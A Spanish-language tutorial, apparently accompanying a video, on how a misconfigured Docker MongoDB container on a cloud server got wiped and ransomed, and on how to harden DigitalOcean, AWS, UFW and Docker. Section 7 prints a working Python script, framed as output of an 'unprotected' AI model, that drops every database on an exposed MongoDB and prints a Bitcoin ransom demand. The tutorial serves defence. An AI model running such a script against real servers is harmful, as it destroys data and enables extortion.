Cómo me hackearon un servidor en la nube y cómo puedes evitarlo
Cómo me hackearon un servidor en la nube y cómo puedes evitarlo
Hace algunos años, un servidor que tenía en la nube fue atacado y me borraron una base de datos, exigiendo un rescate en Bitcoin para recuperarla. En este tutorial, te mostraré por qué sucedió y cómo puedes protegerte. Veremos cómo una mala configuración de Docker y de servicios en la nube (como Digital Ocean o AWS) pueden exponerte a ataques sin que te des cuenta. Además, replicaré el ataque de ransomware que sufrí y te mostraré cómo los atacantes están utilizando modelos de lenguaje de IA para automatizar estos ataques en segundos.
Índice del Tutorial
Introducción al problema
Configuración de servidores en la nube (Digital Ocean vs AWS)
Análisis de puertos y firewalls
Instalación de Docker y exposición de puertos
Comparación de políticas de seguridad por defecto
Simulación del ataque con IA
Pasos para proteger tus servidores
Conclusión y recursos adicionales
1. Introducción al problema
Todo desarrollador en algún momento despliega sus propios servidores en la nube. Sin embargo, por desconocimiento de cómo funcionan las herramientas internamente, a menudo dejamos puertos y servicios expuestos sin darnos cuenta. En mi caso, un contenedor de MongoDB mal configurado fue la puerta de entrada para que atacantes borraran mi base de datos y pidieran rescate.
2. Configuración de servidores en la nube
Vamos a crear dos servidores:
Digital Ocean: Un Droplet con Ubuntu 24.
AWS: Una instancia EC2 con Ubuntu 24.
Ambos con la misma configuración base, pero con diferencias críticas en seguridad.
Comandos iniciales:
# Conectarse a los servidores
ssh usuario@ip_servidor
# Ver puertos abiertos localmente
ss -tulnResultado inicial:
Digital Ocean: Solo puerto 22 (SSH) abierto a
0.0.0.0.AWS: Puertos 22 (SSH), 68 (DHCP) y 323 (NTP) abiertos localmente, pero solo el 22 expuesto inicialmente.
3. Análisis de puertos desde fuera
Usaremos NMAP desde una máquina externa (Kali Linux) para escanear puertos accesibles desde internet.
Comando NMAP:
# Escanear 1000 puertos comunes
nmap [IP_DEL_SERVIDOR]
# Escanear puerto específico (ej: 27017 de MongoDB)
nmap -p 27017 [IP_DEL_SERVIDOR]Resultado inicial: Ambos servidores solo tienen el puerto 22 abierto desde internet.
4. Instalación de Docker y exposición de puertos
Instalamos Docker en ambos servidores y creamos un contenedor de MongoDB exponiendo el puerto 27017.
Comandos Docker:
# Instalar Docker
sudo apt update
sudo apt install docker.io -y
# Crear contenedor de MongoDB exponiendo puerto
sudo docker run -d --name mongo -p 27017:27017 mongoNuevo escaneo con NMAP:
AWS: El puerto 27017 sigue cerrado (gracias al firewall del servicio).
Digital Ocean: El puerto 27017 está abierto y accesible desde internet.
¡Alerta! Digital Ocean no activa su firewall por defecto.
5. Comparación de políticas de seguridad
AWS: Todo cerrado por defecto. Debes abrir puertos manualmente en los Security Groups.
Digital Ocean: Todo abierto por defecto. Debes activar y configurar el Cloud Firewall manualmente.
Configuración del firewall en AWS:
Ir a Security Groups.
Agregar regla de entrada para el puerto 27017 (solo si es necesario).
Configuración del firewall en Digital Ocean:
Ir a Networking > Firewalls.
Crear un firewall que solo permita SSH (puerto 22) y aplicarlo al Droplet.
6. Firewall a nivel de sistema operativo (UFW)
Ubuntu incluye UFW (Uncomplicated Firewall). Sin embargo, Docker ignora las reglas de UFW y maneja sus propias reglas en iptables.
Comandos UFW:
# Activar UFW
sudo ufw allow OpenSSH
sudo ufw enable
# Ver estado
sudo ufw statusAunque UFW bloquee el puerto 27017, Docker lo mantendrá accesible si el contenedor se creó sin restricciones.
7. Simulación del ataque con IA
Hoy, los atacantes pueden usar modelos de lenguaje para generar scripts maliciosos en segundos. Ejemplo con un modelo "desprotegido":
Prompt al modelo:
Crea un script en Python que escanee puertos abiertos en una IP,
se conecte a MongoDB expuesto y borre todas las bases de datos.Script generado (ejemplo simplificado):
import pymongo
import sys
def attack_mongodb(ip):
try:
client = pymongo.MongoClient(f"mongodb://{ip}:27017/", serverSelectionTimeoutMS=5000)
for db in client.list_database_names():
client.drop_database(db)
print("Bases de datos borradas. Paga en Bitcoin para recuperarlas.")
except Exception as e:
print("Error:", e)
if __name__ == "__main__":
attack_mongodb(sys.argv[1])Conclusión: Cualquier persona, sin conocimientos técnicos, puede realizar este ataque si existen configuraciones vulnerables.
8. Cómo proteger tus servidores
A. Configura firewalls en tu proveedor de nube:
Digital Ocean: Activa y configura el Cloud Firewall.
AWS: Usa Security Groups para abrir solo puertos esenciales.
B. Asegura Docker:
Exponer solo localmente:
sudo docker run -d --name mongo -p 127.0.0.1:27017:27017 mongoUsar redes de Docker personalizadas:
# Crear red sudo docker network create my_network # Conectar contenedor sudo docker network connect my_network mongo # Desconectar de la red bridge por defecto sudo docker network disconnect bridge mongo
C. Monitoreo y buenas prácticas:
Escanea tus servidores con NMAP regularmente.
Usa autenticación y cifrado en todos los servicios.
Mantén tus contenedores y sistemas actualizados.
Respaldos frecuentes en ubicaciones seguras.
9. Conclusión
La seguridad en la nube es responsabilidad del desarrollador. Entender cómo funcionan los firewalls, Docker y las políticas de cada proveedor es crucial para evitar ataques. Los atacantes ahora utilizan IA para automatizar explotaciones, pero con configuraciones adecuadas puedes proteger tus servidores.
Recuerda:
✅ Configura firewalls en el proveedor de nube.
✅ Asegura Docker exponiendo solo localmente o usando redes personalizadas.
✅ Escanea tus puertos regularmente.
✅ Nunca dejes servicios expuestos sin autenticación.
Recursos adicionales
¿Quieres aprender más sobre ciberseguridad?
Te recomiendo los cursos de Coursera sobre fundamentos de ciberseguridad, redes, Linux y Python. En la descripción del video encontrarás un enlace con un 40% de descuento en tus primeros 3 meses de Coursera Plus.
Comentarios
Publicar un comentario